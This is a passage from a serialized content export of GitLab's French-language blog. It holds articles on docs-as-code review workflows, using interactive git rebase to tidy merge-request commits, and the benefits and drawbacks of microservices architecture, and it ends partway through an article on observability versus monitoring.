moment.\n\n## Échanger avec les équipes sur la documentation\n\nSi vous rédigez des articles régulièrement, vous savez à quel point il peut être difficile de faire relire votre contenu par une tierce personne.\n\nChez GitLab, nos développeurs sont les premiers à rédiger la description des nouvelles fonctionnalités, qu’ils enregistrent dans le même dépôt que leur code. Documenter les fonctionnalités fait partie de notre definition of done (DoD) – nos critères d'accomplissement des tâches. \n\nEnsuite, nos rédacteurs techniques révisent les contenus, y ajoutent des suggestions et les renvoient aux auteurs. Ils peuvent notamment effectuer des merge requests pour apporter des modifications. \n\nQue la demande vienne d'un rédacteur, développeur, ingénieur, ou tout autre contributeur de la communauté, nous avons tous la possibilité de commenter facilement le travail des autres. Pour ce faire, il suffit de sélectionner le bouton « Suggestion » et d'ajouter un commentaire. Vous pouvez apporter des modifications, et l'auteur de la merge request pourra les valider ou proposer une alternative. Vous pouvez également inviter d'autres personnes à participer en mentionnant leur nom d'utilisateur. C'est transparent et participatif.\n\n![Faire une suggestion en doc as code](https://about.gitlab.com/images/blogimages/suggestion.png)\n\nComme la documentation est en Markdown, un langage similaire à du texte brut, il est facile de visualiser les différences entre les versions des fichiers et de voir qui a apporté telle ou telle modification. \n\nAvec la «doc as code » , vous gagnez en efficacité et dites adieu aux versions obsolètes et aux commentaires malencontreusement effacés par une mise à jour. Si quelqu'un veut connaître les raisons d'une modification, il lui suffit de consulter l'historique de la page pour voir qui en est l'auteur, ligne par ligne.\n\n![Commentaires en doc as code](https://about.gitlab.com/images/blogimages/blame.png)\n\nPlus besoin de sauvegarder les versions d'un document PDF pour trouver l'origine d'une modification. Tout est dans GitLab.\n\n## Prévisualiser le contenu des documents\n\nChez GitLab, nos outils peuvent générer en local le contenu du site de notre documentation, mais vous pouvez aussi le visualiser directement depuis une merge request. Pour cela, il vous suffit d’ouvrir une merge request et de sélectionner «Voir l’application » pour tester et partager une idée. Le site de documentation modifié est dès lors consultable depuis une URL publique.\n\n![Prévisualisation d'une modification avec la fonction « Voir l'application »](https://about.gitlab.com/images/blogimages/view_app.png)\n\nVos modifications sont visibles, vous pouvez les modifier ou les valider telles quelles. Ce qui nous amène à une autre fonctionnalité utile de GitLab.\n\n## Tester chaque modification de contenu\n\nPeut-être utilisez-vous un outil tiers pour tester les liens de vos documents ou vérifier les règles de grammaire et d'orthographe. Sachez que certains de ces outils peuvent être intégrés dans GitLab et dans le workflow de rédaction.\n\nChaque rédacteur dispose de nos outils installés localement, pour contrôler le document à tous les niveaux sur sa machine locale. Pour les contributeurs qui ne disposent pas de ces outils, nous exécutons pour chaque validation une version une version de nos tests dans un pipeline.\n\n![Erreur Lint dans le code](https://about.gitlab.com/images/blogimages/lint_error_2.png)\n\nSi vous êtes un développeur sans grande expérience en rédaction, vous pourriez constater une erreur lors de la merge request à cause d'une faute de grammaire ou d’un non-respect de la charte éditoriale. Nous avons défini un ensemble de règles avec différents niveaux d'importance et effectuons des tests afin que nos contenus soient alignés avec notre [guide de style](https://docs.gitlab.com/ee/development/documentation/styleguide/ \"Guide de style de GitLab\") et notre glossaire.\n\n## Générer le contenu HTML hébergé sur GitLab Pages\n\nNotre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \") convertit et compile notre contenu Markdown en HTML. Nous hébergeons ensuite le contenu sur GitLab Pages, sur le site [docs.gitlab.com](https://docs.gitlab.com/ \"Documentation de GitLab\").\n\n![Pipeline de déploiement de contenu](https://about.gitlab.com/images/blogimages/pipeline2.png)\n\nCette approche nous permet de mettre à jour notre documentation très régulièrement, voire même toutes les heures. Le contenu de notre documentation est donc toujours pertinent, et parfois même en avance sur la sortie de nouvelles fonctionnalités. Une situation somme toute naturelle puisque nous partageons en toute transparence notre planning de développement.\n\nComme vous avez pu le constater tout au long de cet article, nous apprécions vraiment travailler en doc as code. Passer à un seul outil pour gérer votre documentation peut certes demander un temps d'adaptation, mais GitLab prend en charge l'ensemble du processus de rédaction, pour toutes les personnes impliquées dans la rédaction des contenus. Et notre expertise s'appuie sur des années de pratique.\n\nConsultez cette vidéo pour en savoir plus sur le travail de rédaction en documentation as code chez GitLab :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ZlabtdA-gZE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVous souhaitez contribuer à notre documentation open source ? Découvrez [toutes nos instructions](https://docs.gitlab.com/ee/development/documentation/workflow.html#how-to-update-the-docs \"Instructions pour contribuer à la documentation de GitLab\").\n",[3080,1808,2884],"2024-08-08",{"slug":3205,"featured":6,"template":683},"five-fast-facts-about-docs-as-code-at-gitlab","content:fr-fr:blog:five-fast-facts-about-docs-as-code-at-gitlab.yml","Five Fast Facts About Docs As Code At Gitlab","fr-fr/blog/five-fast-facts-about-docs-as-code-at-gitlab.yml","fr-fr/blog/five-fast-facts-about-docs-as-code-at-gitlab",{"_path":3211,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3212,"content":3218,"config":3225,"_id":3227,"_type":16,"title":3228,"_source":17,"_file":3229,"_stem":3230,"_extension":20},"/fr-fr/blog/take-advantage-of-git-rebase",{"title":3213,"description":3214,"ogTitle":3213,"ogDescription":3214,"noIndex":6,"ogImage":3215,"ogUrl":3216,"ogSiteName":841,"ogType":842,"canonicalUrls":3216,"schema":3217},"Améliorez votre workflow avec Git rebase","Exploitez les fonctionnalités de Git rebase pour améliorer votre workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665560/Blog/Hero%20Images/speedmonorepo.jpg","https://about.gitlab.com/blog/take-advantage-of-git-rebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Améliorez votre workflow avec Git rebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2022-10-06\",\n      }",{"title":3213,"description":3214,"authors":3219,"heroImage":3215,"date":3220,"body":3221,"category":825,"tags":3222,"updatedDate":3224},[1926],"2022-10-06","Les merge requests permettent à l'équipe de développement logiciel de passer en revue les modifications du code avant de les intégrer au projet principal. De nos jours, cette tâche prend beaucoup de temps. Découvrez comment [Git rebase](https://git-scm.com/docs/git-rebase/fr) peut vous aider à accélérer ces cycles de revues de code. Commençons par certaines\nconsidérations relatives au workflow.\n\n## Comment rectifier le code d'une merge request ? \n\nUn développeur qui a travaillé sur des modifications de code et a créé une merge request pour les intégrer au projet devra souvent procéder à des ajustements ou des corrections. Pourquoi ? Parce que certains tests peuvent échouer, des bogues peuvent être découverts, ou les relecteurs peuvent suggérer des améliorations et repérer des anomalies.\n\n### Méthode simple, mais désordonnée : multiplier les validations\n\nPour rectifier le code de la merge request, vous pouvez simplement apporter d'autres modifications par l'intermédiaire de nouvelles validations sur la branche utilisée pour créer la merge request, puis effectuer à nouveau un push de la branche afin de mettre à jour la merge request.\n\nCependant, lorsque plusieurs validations ont été ajoutées de cette manière, la merge request peut devenir un vrai défi :\n\n- Il est difficile d'effectuer une revue de code de toutes les modifications en les examinant toutes ensemble.\n- Il est difficile d'examiner les validations séparément, car elles peuvent contenir des modifications différentes sans rapport entre elles, voire de plusieurs versions d'un même code.\n\nLes relecteurs préfèrent souvent examiner les modifications de code réparties sur plusieurs petites validations autonomes pouvant faire l'objet de revues de code individuelles.\n\n### Méthode de professionnels : rebaser !\n\nLe meilleur moyen de préparer ou de rectifier le code d'une merge request consiste à toujours s'assurer que chaque validation contient de petites modifications, indépendantes et faciles à réviser.\n\nChaque validation de la branche peut nécessiter des ajustements, plutôt que d'ajouter de nouvelles validations. De prime abord plus complexe et fastidieuse, cette approche dispose d'une botte secrète : `git rebase` !\n\n## Rectifier vos validations avec `git rebase`\n\nSi votre objectif consiste à créer une merge request à partir d'une série de petites validations indépendantes, il est possible que votre branche nécessite un travail précis de rectification avant que ses validations ne soient suffisamment fiables. Une fois les validations prêtes, vous pouvez effectuer un push de la branche et mettre à jour ou créer une merge request avec cette branche.\n\n### Démarrer un rebasage interactif\n\nSi votre branche est basée sur la branche principale `main`, la commande pour rectifier votre branche est la suivante :\n\n```plaintext\ngit rebase -i main\n```\n\nCréer [un alias Git](https://git-scm.com/book/fr/v2/Les-bases-de-Git-Les-alias-Git), un alias shell ou encore une fonction shell pour cette commande pourra s'avérer très pratique dans la mesure où vous l'utiliserez très souvent.\n\nL'option `-i` passée à `git rebase` est un alias pour `--interactive`. Elle lance [un rebasage « interactif »](https://git-scm.com/docs/git-rebase/fr#git-rebase---interactive) qui ouvrira votre éditeur de code. Vous y trouverez une liste des validations de votre branche, suivie de lignes de commentaires commençant par `#`. \n\nVoici à quoi ressemble la liste des validations :\n\n```plaintext\npick 1aac632db2 first commit subject\npick a385014ad4 second commit subject\npick 6af12a88cf other commit subject\npick 5cd121e2a1 last commit subject\n```\n\nCes lignes sont des instructions sur la façon dont `git rebase` doit traiter ces validations. Les validations sont listées dans l'ordre chronologique, la validation la plus ancienne apparaissant en tête. (Cet ordre est l'inverse de l'ordre par défaut de `git log`.) Que contiennent ces lignes ?\n\n- Une instruction (dans cet exemple, `pick`) qui indique à Git l'action à entreprendre\n- Un identifiant abrégé de la validation\n- Un sujet qui vous aide à identifier le contenu de la validation\n\n### Modifier la liste des instructions\n\nVous pouvez modifier ces instructions ! Lorsque vous quittez votre éditeur de texte, `git rebase` lit les instructions que vous venez de modifier et les exécute dans l'ordre pour recréer votre branche comme vous le souhaitez.\n\nAprès les instructions pour toutes les validations, une série de lignes de commentaires explique comment modifier les lignes d'instruction, et comment chaque instruction affectera votre branche :\n\n- Si vous **supprimez la totalité de la ligne d'instruction d'une validation** de la liste,\ncette validation ne sera pas recréée.\n- Si vous **réorganisez les lignes d'instruction**, les validations seront\nrecréées dans l'ordre que vous spécifiez.\n- Si vous **changez l'action** de l'instruction `pick` en la remplaçant par exemple par\n`squash` ou `reword`, Git effectuera l'action que vous spécifiez sur cette\nvalidation.\n- Vous pouvez même **ajouter de nouvelles lignes d'instruction** avant, après ou entre\nles lignes actuelles.\n\nSi les lignes de commentaires ne sont pas suffisantes, vous pouvez trouver de plus amples informations sur ce que vous pouvez faire et le fonctionnement du rebasage Git dans les ressources suivantes :\n\n- Le chapitre [Utilitaires Git - Réécrire l'historique](https://git-scm.com/book/fr/v2/Utilitaires-Git-R%c3%a9%c3%a9crire-l%e2%80%99historique)\ndu livre « Pro Git ».\n- Le chapitre [Mode interactif](https://git-scm.com/docs/git-rebase/fr#_mode_interactif)\n  de la documentation `git rebase`.\n\n### Continuer ou abandonner le rebasage\n\nUn rebasage interactif peut être interrompu en cas de conflit (comme le ferait un rebasage\nstandard) ou si vous avez utilisé une instruction telle que `edit` dans la\nligne d'instruction. Cela vous permet d'apporter certaines modifications : vous pouvez, par exemple, diviser la validation actuelle en deux validations distinctes ou résoudre le conflit de rebasage le cas échéant. Ensuite, deux options s'offrent à vous :\n\n- Continuer le rebasage interactif à l'aide de la commande `git rebase --continue`.\n- Abandonner le rebasage à l'aide de la commande `git rebase --abort`.\n\n(Ces options `git rebase` fonctionnent également lorsqu'un rebasage standard, non interactif,\ns'arrête).\n\n## Autres conseils et avantages\n\n### Essayer les différentes instructions\n\nNous vous recommandons d'essayer les différentes instructions que vous pouvez utiliser dans\nchaque ligne d'instruction, en particulier `reword`, `edit`, `squash` et `fixup`. Vous\npouvez utiliser les versions abrégées de ces instructions : `r`, \n`e`, `s` et `f`.\n\n### Exécuter des commandes shell dans votre rebasage\n\nVous avez peut-être remarqué l'instruction `exec \u003Ccommand>` qui vous permet d'exécuter une commande shell quelle qu'elle soit à tout moment pendant le rebasage interactif. Cette commande sera plus utile pour les rebasages non interactifs, par exemple :\n\n```plaintext\ngit rebase --exec 'make test' main\n```\n\n(Il ne s'agit pas d'un rebasage interactif, car il ne contient pas l'option `-i`).\n\nL'option `--exec \u003Ccommand>` vous permet d'exécuter une commande shell après\nchaque validation rebasée, avec un arrêt du rebase dans le cas où la commande shell échoue (ce qui est signalé par un code de sortie différent de zéro).\n\n### Tester l'ensemble de vos validations\n\nEn passant la commande adéquate qui compile votre logiciel et exécute ses tests (par exemple, `make test`) à l'option `--exec`, vous pouvez vérifier que chaque validation dans votre branche se compile correctement et passe les tests.\n\nSi la commande `make test` échoue, le processus de rebasage s'arrêtera. Vous pouvez alors corriger la validation en cours immédiatement, puis poursuivre le rebasage afin de tester les validations suivantes.\n\nVérifier que la compilation de chaque validation s'effectue correctement et passe tous les tests permet de s'assurer que votre code reste opérationnel. Ceci est particulièrement utile si vous souhaitez utiliser [Git bisect](https://git-scm.com/docs/git-bisect/fr) quand vous rencontrez des régressions.\n\n## Conclusion\n\nDans Git, le rebasage est un outil très polyvalent et très utile pour rectifier le code\ndes validations. Il permet de mettre en place un workflow avec des modifications qualitatives\nproposées dans des validations et des merge requests bien structurées. Développeurs et relecteurs\nn'en seront que plus efficaces. Les revues de code et le débogage gagnent également en facilité et en efficacité.\n",[1047,853,3223,1069],"releases","2024-11-14",{"slug":3226,"featured":6,"template":683},"take-advantage-of-git-rebase","content:fr-fr:blog:take-advantage-of-git-rebase.yml","Take Advantage Of Git Rebase","fr-fr/blog/take-advantage-of-git-rebase.yml","fr-fr/blog/take-advantage-of-git-rebase",{"_path":3232,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3233,"content":3239,"config":3245,"_id":3247,"_type":16,"title":3248,"_source":17,"_file":3249,"_stem":3250,"_extension":20},"/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture",{"title":3234,"description":3235,"ogTitle":3234,"ogDescription":3235,"noIndex":6,"ogImage":3236,"ogUrl":3237,"ogSiteName":841,"ogType":842,"canonicalUrls":3237,"schema":3238},"Architecture de microservices : définition, avantages et bonnes pratiques","Une architecture de microservices permet de moderniser votre approche informatique. Découvrez ses avantages et les bonnes pratiques pour démarrer.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662898/Blog/Hero%20Images/microservices-explosion.jpg","https://about.gitlab.com/blog/what-are-the-benefits-of-a-microservices-architecture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Architecture de microservices : définition, avantages et bonnes pratiques\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-09-29\",\n      }",{"title":3234,"description":3235,"authors":3240,"heroImage":3236,"date":3241,"body":3242,"category":764,"tags":3243,"updatedDate":3244},[1295],"2022-09-29","Vous n'avez pas encore d'avis tranché sur les architectures de microservices et sur ce qu'elles peuvent apporter à vos équipes ? Les équipes de développement sont pourtant de plus en plus nombreuses à adopter cette approche pour développer de nouveaux logiciels. Leur objectif ? Profiter de la flexibilité des microservices pour travailler et livrer des logiciels de façon toujours plus agile. Voici ce que vous devez savoir sur les architectures de microservices, et comment vous lancer.\n\n__Sommaire__\n- Architecture de microservices : définition\n- Quels sont les avantages d’une architecture de microservices ?\n- Quels sont les inconvénients d’une architecture de microservices ?\n- Comment construire une architecture de microservices ?\n- Architecture de microservices et DevOps\n\n## Architecture de microservices : définition\n\nUne architecture de microservices est une approche dans laquelle une application est divisée en petits services autonomes, appelés [microservices](https://about.gitlab.com/fr-fr/topics/microservices/ \"Qu'est-ce qu'un microservice ? \"). \n\n### Qu’est-ce qu’un microservice ?\n\nUn microservice est un service qui __exécute un processus unique__ et qui gère sa propre base de données, tout en interagissant avec les autres. Ce qui permet aux équipes de développement de bénéficier d’une meilleure agilité pour développer, mettre à jour ou tester de nouvelles fonctionnalités plus rapidement. \n\n![Microservices vs monolithique](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749687528/Blog/Content%20Images/monolith-vs-microservices.png)\n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab. \") \n\n## Quels sont les avantages d’une architecture de microservices ?\n\n### Des applications plus évolutives\n\nComme les microservices fonctionnent de manière indépendante, chaque microservice peut donc être facilement ajouté, supprimé, ou mis à jour, sans perturber le fonctionnement des autres microservices. Les entreprises peuvent aussi les faire évoluer en fonction de leurs besoins. Cela permet par exemple d'allouer plus de ressources à un microservice lors d'un pic d'achat saisonnier, et de les économiser en basse saison, pour les réallouer à d'autres domaines. \n\n### Une meilleure isolation des pannes\n\nToute architecture monolithique est susceptible de s'effondrer en cas de défaillance d'un seul élément de l’architecture. Ce risque est moins élevé dans le cas d’une architecture de microservices, où chaque service fonctionne de manière indépendante. Si l'un d'entre eux échoue, il est beaucoup moins probable que les autres cessent de fonctionner. Il faut cependant garder en tête que de grands volumes de trafic peuvent toujours submerger une application.\n\nAvec une architecture de microservices, les équipes de développement peuvent limiter les risques de défaillances en cascade. Divers outils sont disponibles, notamment sur [GitLab](https://about.gitlab.com/fr-fr/ \"Plateforme DevSecOps de GitLab\"), pour créer des microservices résistants aux pannes, et améliorer la résilience de l'infrastructure.\n\n### Une compatibilité avec tous les langages de programmation et toutes les technologies\n\nUne application de microservices peut être programmée dans n'importe quel langage. Les équipes de développement peuvent ainsi choisir le langage de programmation le plus adapté à leur projet et utiliser au mieux leurs compétences, sans avoir besoin d’apprendre un nouveau langage de programmation. En outre, l'utilisation de microservices basés sur le cloud permet aux équipes d'accéder à une application à partir de n'importe quel appareil connecté à Internet, quelle que soit sa plateforme.\n\n### Un déploiement simplifié\n\nUne architecture de microservices permet aux équipes de __déployer des applications indépendantes__ sans affecter les autres services de l'architecture. Cet avantage donne la possibilité aux équipes d'ajouter de nouveaux modules, sans devoir repenser la structure complète du système. L'architecture de microservices permet donc aux entreprises d'intégrer efficacement de nouvelles fonctionnalités en fonction de leurs besoins. \n\n### Une mise sur le marché plus rapide\n\nCette approche permet de minimiser les conflits de langage et les interruptions de service en chaîne sur un site web. Les équipes de développement travaillant sur différents microservices n'ont pas besoin d'attendre que les autres aient terminé pour avancer sur leurs tâches. De cette manière, les entreprises peuvent développer et déployer de nouvelles fonctionnalités rapidement et mettre à niveau les anciens composants au fur et à mesure des avancées technologiques.\n\n### Une expérimentation facilité \n\nUne architecture de microservices facilite les expérimentations. Comme chaque service fonctionne indépendamment, il est plus facile de tester et de déployer de nouvelles fonctionnalités sur l'un d’entre eux, sans impacter l’ensemble de l’application. Ainsi, les architectures de microservices permettent de gagner un temps précieux pour faire évoluer progressivement une application.\n\n### Une sécurité des données renforcée\n\nUne architecture de microservices se définit aussi par une sécurité renforcée. Lorsque l'architecture des systèmes informatiques est divisée en éléments plus petits, les données sensibles sont mieux protégées contre les intrusions provenant d’autres zones. Les équipes de développement peuvent utiliser des __API sécurisées__ pour connecter les microservices entre eux. Les API sécurisées protègent les données en veillant à ce qu’elles ne soient accessibles qu’aux utilisateurs, applications et serveurs spécifiquement autorisés. Les entreprises peuvent ainsi plus aisément se conformer aux normes de sécurité des données, telles que le [Règlement général sur la protection des données (RGPD)](https://www.cnil.fr/fr/reglement-europeen-protection-donnees \"Règlement général sur la protection des données \"). \n\n### Une flexibilité de l’externalisation\n\nLes entreprises doivent parfois confier certaines fonctionnalités à des partenaires tiers, ce qui peut représenter un __risque pour la protection de la propriété intellectuelle__. Avec une architecture de microservices, ces dernières peuvent segmenter les zones réservées aux partenaires, sans compromettre les services principaux et les données sensibles. \n\n### Une optimisation des équipes\n\nAmazon, pionnier des microservices, avait instauré l'idée qu'une équipe chargée d'une application ne devrait pas compter plus d'une poignée de développeurs et de développeuses en son sein. Les experts expliquent que cette approche améliore l'efficacité du travail, permet aux entreprises d’__atteindre leurs objectifs plus rapidement__, facilite la gestion des équipes, et favorise une plus grande concentration au sein du groupe. Adopter une architecture de microservices au moment de dimensionner vos équipes vous aidera à livrer des logiciels de meilleure qualité.\n\n### Un moyen d’attirer de nouveaux talents\n\nLes microservices s'appuient sur les pratiques d'ingénierie et les outils de développement les plus récents. L’occasion pour les entreprises d’attirer de nouveaux talents souhaitant travailler sur ce type d’architecture. \n\n## Quels sont les inconvénients d’une architecture de microservices ?\n\nSi les microservices présentent un grand nombre d'avantages, il faut aussi tenir compte de certains inconvénients avant d’adopter cette approche. \n\n### Des coûts initiaux plus élevés\n\nLes microservices cloud permettent de faire des économies sur le long terme, mais les coûts associés à leur déploiement initial restent élevés. Une entreprise doit disposer d'une infrastructure d'hébergement suffisante, avec une assistance en matière de sécurité et de maintenance. Plus important encore, elle aura besoin d'équipes qualifiées pour gérer tous les services.\n\n### L’importance du contrôle de l’interface\n\nComme chaque microservice possède sa propre API, toute application utilisant ce service sera affectée si vous modifiez l’API. Ce changement __n'étant pas rétrocompatible__. Avec une architecture de microservices, les opérations de grande envergure font appel à des centaines, voire des milliers d'API. Le contrôle de ces interfaces est donc essentiel au bon fonctionnement de l'entreprise, ce qui constitue un challenge possible pour adopter ce type d’architecture.\n\n### Autres types de complexité\n\nLe débogage peut s'avérer plus complexe avec une architecture de microservices, car chaque microservice dispose de son propre ensemble de journaux (logs). Ce qui peut compliquer légèrement la recherche pour remonter à la source d'un problème dans le code. \n\n### Des tests d'intégration\n\nLes tests unitaires sont plus faciles à gérer avec une architecture de microservices, ce qui n’est pas le cas des tests d'intégration. Comme l'architecture de microservices est distribuée en différents microservices, les équipes de développement ne peuvent pas tester l'ensemble du système depuis leur ordinateur.\n\n## Une architecture orientée services (AOS) vs microservices\n\nSi vous travaillez dans le cloud computing, vous avez probablement entendu parler du débat entre les architectures orientées services (Service-Oriented Architecture ou SOA en anglais) et les architectures de microservices. Ces deux architectures sont similaires à bien des égards, car elles impliquent toutes deux le cloud computing, le développement agile, et divisent les grands composants monolithiques en unités plus petites et plus faciles à gérer. \n\nCependant, la plus grande différence entre ces deux architectures réside dans leur champ d’application. L’AOS est une approche à l'échelle de l’entreprise pour développer des composants logiciels. Les microservices, quant à eux, construisent des applications autonomes qui remplissent une fonction spécifique. Cette approche cloud-native du développement et du déploiement les rend plus évolutifs, agiles et résistants. Les architectures de microservices se situent donc à une échelle plus restreinte, celle des applications.\n\n## Comment construire une architecture de microservices ?\n\nPour les équipes [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Que signifie DevOps ?\") prêtes à franchir une nouvelle étape, l'adoption d'une architecture de microservices est un choix judicieux. Voici comment vous lancer. \n\n### Identifier les aspects décomposables de l'application\n\nL’une des principales caractéristiques d’un microservice est son fonctionnement autonome. Il faut donc commencer par identifier quelles parties de l'application peuvent fonctionner de manière indépendante. Une définition erronée des limites d'un service pourrait entraîner des modifications indésirables sur d’autres services. Vous devez donc envisager le système dans sa globalité.\n\nDans de nombreux cas, cette répartition correspond aux domaines d'activité, et se reflète dans l'organisation des équipes de développement.\n\n### Définir les indicateurs à surveiller\n\nAvec une application de microservices, il faut impérativement surveiller l'état de chaque service pour pouvoir réagir à l'évolution des demandes dans l’environnement de production. Parmi les indicateurs courants à surveiller, nous retrouvons : l'utilisation du processeur, le niveau de mémoire de chaque instance, le temps de réponse de l'API ou encore le taux d'erreur. \n\nEn l'absence de surveillance, les équipes peuvent ne pas détecter certains problèmes lorsqu’ils surviennent. Par exemple, lorsqu'un serveur fait face à un pic de trafic, d'autres services peuvent ne pas répondre, car ils essaient de communiquer avec un service surchargé.\n\nEn détectant ces problèmes potentiels au sein de votre architecture de microservices, vous prévenez ainsi les temps d'arrêt. Ces indicateurs doivent être définis au début du projet pour pouvoir être surveillés et faire l’objet d’ajustements en cas d'événement anormal détecté. Cela peut s'avérer difficile, mais il existe heureusement des outils qui simplifient la surveillance, et fournissent une visualisation complète.\n\n### Automatiser l'infrastructure\n\nLorsque le nombre de microservices augmente, une application peut devenir difficile à gérer, puisque chaque microservice a son propre calendrier de déploiement. Certaines fonctionnalités sont cachées derrière des feature flags, d'autres collectent des données d’utilisation via des tests A/B, et certains services utilisent des déploiements Canary dans le cadre d’un déploiement progressif. Il est donc essentiel d'automatiser les tests pour que les équipes puissent stopper ou annuler un déploiement si nécessaire.\n\n### Créer des tests de contrat axés sur le consommateur\n\nIl est recommandé de mettre en œuvre des tests de contrat axés sur le consommateur (Consumer-Driven Contract Tests, ou CDCT) pour garantir la compatibilité entre les versions. Traditionnellement, les équipes de développement créent d'abord les API côté serveur, le point d'entrée du test étant déterminé par les clients. Cela signifie que lorsque la signature d’un API change, cela peut entraîner des dysfonctionnements côté consommateur. \n\nAvec les tests de contrat axés sur le consommateur cette situation ne peut pas se produire, car avant de déployer un microservice en production, les consommateurs déterminent le contrat requis (la signature de l’API) et effectuent des tests pour s’assurer qu’ils sont toujours valides. \n\n## Architecture de microservices et DevOps\n\nEn décomposant un système logiciel en parties autonomes, l'architecture de microservices permet aux entreprises d'appliquer le principe de responsabilité unique (Single Responsibility Principle) aux équipes de développement.\n\nTous les aspects d'un service peuvent ainsi se gérer de façon indépendante : la stack technique de l'équipe, la composition de l'équipe, les stratégies de déploiement, et même les calendriers de release. \n\nAssociée à une livraison continue, l’architecture de microservices permet aux entreprises de prendre des décisions basées sur des données de production en temps réel, accélérant ainsi les boucles de rétroaction et réduisant le délai de mise sur le marché.\n\nVotre équipe est-elle prête à se lancer dans l'architecture de microservices ? Commencez par développer une compréhension fine du découpage possible de votre système, et acquérir de solides connaissances sur les pratiques [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\"). Ces compétences vous seront d'ailleurs utiles quelle que soit l'approche architecturale que vous choisirez.\n\n> [Essayez GitLab Ultimate gratuitement.](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab. \")\n",[1420,1420,675],"2024-10-01",{"slug":3246,"featured":92,"template":683},"what-are-the-benefits-of-a-microservices-architecture","content:fr-fr:blog:what-are-the-benefits-of-a-microservices-architecture.yml","What Are The Benefits Of A Microservices Architecture","fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture.yml","fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture",{"_path":3252,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3253,"content":3259,"config":3265,"_id":3267,"_type":16,"title":3268,"_source":17,"_file":3269,"_stem":3270,"_extension":20},"/fr-fr/blog/observability-vs-monitoring-in-devops",{"title":3254,"description":3255,"ogTitle":3254,"ogDescription":3255,"noIndex":6,"ogImage":3256,"ogUrl":3257,"ogSiteName":841,"ogType":842,"canonicalUrls":3257,"schema":3258},"DevOps : de la surveillance à l'observabilité","Vous souhaitez bénéficier d'une visibilité totale sur l'ensemble du cycle de développement de vos logiciels ? La réponse tient en un mot : l'observabilité.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665484/Blog/Hero%20Images/monitoring-update-feature-image.jpg","https://about.gitlab.com/blog/observability-vs-monitoring-in-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps : de la surveillance à l'observabilité\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-06-14\",\n      }",{"title":3254,"description":3255,"authors":3260,"heroImage":3256,"date":3262,"body":3263,"category":825,"tags":3264,"updatedDate":2492},[3261],"Mike Vanbuskirk","2022-06-14","Presque toutes les infrastructures logicielles modernes comportent des fonctions de surveillance ou de journalisation. Lancé dans les années 1980, le protocole Syslog pour les systèmes Unix a constitué un premier exemple d'audit et d'analyse des opérations à l'intérieur d'un système. Il illustre l'importance d'un mécanisme de surveillance dédié et distinct sur le plan architectural.\n\nEn dépit de son importance, la surveillance (ou monitoring) est cependant trop souvent envisagée et utilisée après coup. Les informations des systèmes de journalisation ne sont pas agrégées ou analysées pour établir des diagnostics, tandis que les systèmes de surveillance installés des années auparavant ne sont pas mis aux normes.\n\nLe paysage opérationnel a cependant évolué, donnant naissance au concept d'observabilité. Plutôt que de former des hypothèses à partir de mesures statiques, l'observabilité apporte une vue d'ensemble du comportement d'une application, et permet de comprendre comment ses performances sont perçues par les utilisateurs et utilisatrices. \n\n## Qu’est-ce que l'observabilité ?\n\nL’observabilité est la collecte et l'analyse exhaustive des données de l'ensemble des composants d'un système informatique. Elle fournit des informations détaillées sur les applications de l'environnement, qui sont essentielles à la compréhension du fonctionnement des architectures dynamiques modernes, et notamment des plateformes dans le cloud. \n\nPour comprendre l’importance de l'observabilité, commençons par définir la notion de surveillance, ainsi que les informations que cette approche permet ou non de couvrir.\n\nLa surveillance consiste à mesurer certaines données et valeurs au sein d'un système ou d'un logiciel, et à en présenter les résultats. Les mesures les plus courantes sont l'utilisation d’un processeur, d’une mémoire vive, et des temps de réponse ou de latence. De même, les systèmes de journalisation classiques fournissent une information statique sur des événements survenus pendant le fonctionnement du système.\n\nLa surveillance fournit des mesures dans un contexte limité, pouvant indiquer un problème plus important dans le système. Les outils de surveillance traditionnels permettent d'agréger et de corréler les informations. Cependant, une configuration manuelle est souvent nécessaire afin d'obtenir une vue d'ensemble. \n\n### Observabilité ou monitoring\n\nAvec le temps, le concept de surveillance a dépassé les mesures statiques d'éléments tels que l'utilisation du processeur. Dans son célèbre ouvrage *Site Reliability Engineering*, Google souligne l'impératif de se concentrer sur quatre [Golden Signals (ou signaux d'or)](https://sre.google/sre-book/monitoring-distributed-systems/ \"Golden Signals de Google\") : \n- La latence : le temps nécessaire pour traiter une requête\n- Le trafic : la mesure du haut niveau de charge global\n- Les erreurs : le taux d'échec des requêtes\n- La saturation : la mesure de l'utilisation des ressources comme fraction de l'ensemble, consacrée généralement aux ressources limitées.\n\nBien que ces mesures aident à comprendre les performances globales du système, elles nécessitent encore un investissement technique tangible afin de concevoir, mettre en place et configurer un système de surveillance complet. L'énumération des modes de défaillance possible demande un effort considérable, tout comme la définition et l’association 